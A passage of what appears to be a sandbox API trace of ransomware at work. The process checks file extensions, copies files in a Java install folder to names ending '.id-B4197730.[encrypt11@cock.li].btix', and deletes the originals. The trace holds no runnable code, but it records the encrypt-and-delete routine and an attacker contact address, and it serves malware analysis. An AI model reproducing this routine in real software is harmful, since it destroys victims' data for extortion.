4 [0131.061] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString=".7z") returned 3 [0131.061] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0131.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.061] lstrlenW (lpString=".dbf") returned 4 [0131.061] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.061] lstrlenW (lpString=".1cd") returned 4 [0131.061] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.061] lstrlenW (lpString=".jpg") returned 4 [0131.061] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.061] lstrlenW (lpString=".doc") returned 4 [0131.061] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0131.061] lstrlenW (lpString=".docx") returned 5 [0131.062] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0131.062] lstrlenW (lpString=".pdf") returned 4 [0131.062] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0131.062] lstrlenW (lpString=".xls") returned 4 [0131.062] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0131.062] lstrlenW (lpString=".xlsx") returned 5 [0131.062] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0131.062] lstrlenW (lpString=".ppt") returned 4 [0131.062] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0131.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.062] lstrlenW (lpString=".zip") returned 4 [0131.062] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0131.062] lstrlenW (lpString=".rar") returned 4 [0131.062] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0131.062] lstrlenW (lpString=".bz2") returned 4 [0131.062] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0131.062] lstrlenW (lpString=".7z") returned 3 [0131.062] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0131.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.062] lstrlenW (lpString=".dbf") returned 4 [0131.062] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0131.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.062] lstrlenW (lpString=".1cd") returned 4 [0131.062] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0131.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0131.063] lstrlenW (lpString=".jpg") returned 4 [0131.063] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0131.063] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0131.063] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0131.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.063] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=251327) returned 1 [0131.063] CloseHandle (hObject=0x49c) returned 1 [0131.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0131.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.064] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.064] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0131.064] GetLastError () returned 0x0 [0131.064] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0131.102] WriteFile (in: hFile=0x3c8, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0131.106] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.106] WriteFile (in: hFile=0x3c8, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xee, lpOverlapped=0x0) returned 1 [0131.106] SetEndOfFile (hFile=0x3c8) returned 1 [0131.106] CloseHandle (hObject=0x3c8) returned 1 [0131.106] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.106] SetEndOfFile (hFile=0x49c) returned 1 [0131.111] CloseHandle (hObject=0x49c) returned 1 [0131.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.112] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0131.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.112] lstrlenW (lpString=".doc") returned 4 [0131.112] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0131.113] lstrlenW (lpString=".docx") returned 5 [0131.113] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0131.113] lstrlenW (lpString=".pdf") returned 4 [0131.113] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0131.113] lstrlenW (lpString=".xls") returned 4 [0131.113] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0131.113] lstrlenW (lpString=".xlsx") returned 5 [0131.113] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0131.113] lstrlenW (lpString=".ppt") returned 4 [0131.113] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.113] lstrlenW (lpString=".zip") returned 4 [0131.113] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0131.113] lstrlenW (lpString=".rar") returned 4 [0131.113] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0131.113] lstrlenW (lpString=".bz2") returned 4 [0131.113] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0131.113] lstrlenW (lpString=".7z") returned 3 [0131.113] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.113] lstrlenW (lpString=".dbf") returned 4 [0131.113] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.113] lstrlenW (lpString=".1cd") returned 4 [0131.113] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.113] lstrlenW (lpString=".jpg") returned 4 [0131.113] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0131.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.113] lstrlenW (lpString=".doc") returned 4 [0131.113] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0131.113] lstrlenW (lpString=".docx") returned 5 [0131.113] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0131.113] lstrlenW (lpString=".pdf") returned 4 [0131.114] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0131.114] lstrlenW (lpString=".xls") returned 4 [0131.114] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0131.114] lstrlenW (lpString=".xlsx") returned 5 [0131.114] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0131.114] lstrlenW (lpString=".ppt") returned 4 [0131.114] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0131.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.114] lstrlenW (lpString=".zip") returned 4 [0131.114] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0131.114] lstrlenW (lpString=".rar") returned 4 [0131.114] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0131.114] lstrlenW (lpString=".bz2") returned 4 [0131.114] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0131.114] lstrlenW (lpString=".7z") returned 3 [0131.114] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0131.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.114] lstrlenW (lpString=".dbf") returned 4 [0131.114] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0131.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.114] lstrlenW (lpString=".1cd") returned 4 [0131.114] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0131.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0131.114] lstrlenW (lpString=".jpg") returned 4 [0131.114] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0131.114] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0131.114] lstrlenW (lpString="zipfs.jar") returned 9 [0131.114] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.115] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=68924) returned 1 [0131.115] CloseHandle (hObject=0x49c) returned 1 [0131.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0131.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.115] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.115] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0131.118] GetLastError () returned 0x0 [0131.118] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0131.292] WriteFile (in: hFile=0x3c8, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x10d40, lpOverlapped=0x0) returned 1 [0131.294] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.294] WriteFile (in: hFile=0x3c8, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1 [0131.294] SetEndOfFile (hFile=0x3c8) returned 1 [0131.294] CloseHandle (hObject=0x3c8) returned 1 [0131.294] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.294] SetEndOfFile (hFile=0x49c) returned 1 [0131.298] CloseHandle (hObject=0x49c) returned 1 [0131.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.298] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0131.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.299] lstrlenW (lpString=".doc") returned 4 [0131.299] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0131.299] lstrlenW (lpString=".docx") returned 5 [0131.299] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0131.299] lstrlenW (lpString=".pdf") returned 4 [0131.299] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0131.299] lstrlenW (lpString=".xls") returned 4 [0131.299] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0131.299] lstrlenW (lpString=".xlsx") returned 5 [0131.299] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0131.299] lstrlenW (lpString=".ppt") returned 4 [0131.299] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0131.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.299] lstrlenW (lpString=".zip") returned 4 [0131.299] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0131.299] lstrlenW (lpString=".rar") returned 4 [0131.299] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0131.299] lstrlenW (lpString=".bz2") returned 4 [0131.299] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0131.299] lstrlenW (lpString=".7z") returned 3 [0131.299] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0131.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.299] lstrlenW (lpString=".dbf") returned 4 [0131.299] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0131.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.299] lstrlenW (lpString=".1cd") returned 4 [0131.299] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0131.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.299] lstrlenW (lpString=".jpg") returned 4 [0131.299] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.300] lstrlenW (lpString=".doc") returned 4 [0131.300] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0131.300] lstrlenW (lpString=".docx") returned 5 [0131.300] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0131.300] lstrlenW (lpString=".pdf") returned 4 [0131.300] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0131.300] lstrlenW (lpString=".xls") returned 4 [0131.300] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0131.300] lstrlenW (lpString=".xlsx") returned 5 [0131.300] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0131.300] lstrlenW (lpString=".ppt") returned 4 [0131.300] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.300] lstrlenW (lpString=".zip") returned 4 [0131.300] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0131.300] lstrlenW (lpString=".rar") returned 4 [0131.300] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0131.300] lstrlenW (lpString=".bz2") returned 4 [0131.300] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0131.300] lstrlenW (lpString=".7z") returned 3 [0131.300] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.300] lstrlenW (lpString=".dbf") returned 4 [0131.300] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.300] lstrlenW (lpString=".1cd") returned 4 [0131.300] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0131.301] lstrlenW (lpString=".jpg") returned 4 [0131.301] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0131.301] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0131.301] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0131.301] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.303] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=75144) returned 1 [0131.303] CloseHandle (hObject=0x49c) returned 1 [0131.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0131.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.304] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.304] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.307] GetLastError () returned 0x0 [0131.307] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x12588, lpOverlapped=0x0) returned 1 [0131.310] WriteFile (in: hFile=0x4bc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x12590, lpOverlapped=0x0) returned 1 [0131.312] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.312] WriteFile (in: hFile=0x4bc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x104, lpOverlapped=0x0) returned 1 [0131.312] SetEndOfFile (hFile=0x4bc) returned 1 [0131.313] CloseHandle (hObject=0x4bc) returned 1 [0131.313] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.313] SetEndOfFile (hFile=0x49c) returned 1 [0131.320] CloseHandle (hObject=0x49c) returned 1 [0131.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.320] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0131.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.321] lstrlenW (lpString=".doc") returned 4 [0131.321] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.321] lstrlenW (lpString=".docx") returned 5 [0131.321] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0131.321] lstrlenW (lpString=".pdf") returned 4 [0131.321] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.321] lstrlenW (lpString=".xls") returned 4 [0131.321] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.321] lstrlenW (lpString=".xlsx") returned 5 [0131.321] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0131.321] lstrlenW (lpString=".ppt") returned 4 [0131.321] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.321] lstrlenW (lpString=".zip") returned 4 [0131.321] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.321] lstrlenW (lpString=".rar") returned 4 [0131.321] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.321] lstrlenW (lpString=".bz2") returned 4 [0131.321] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString=".7z") returned 3 [0131.322] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.322] lstrlenW (lpString=".dbf") returned 4 [0131.322] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.322] lstrlenW (lpString=".1cd") returned 4 [0131.322] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString="C:\\Program 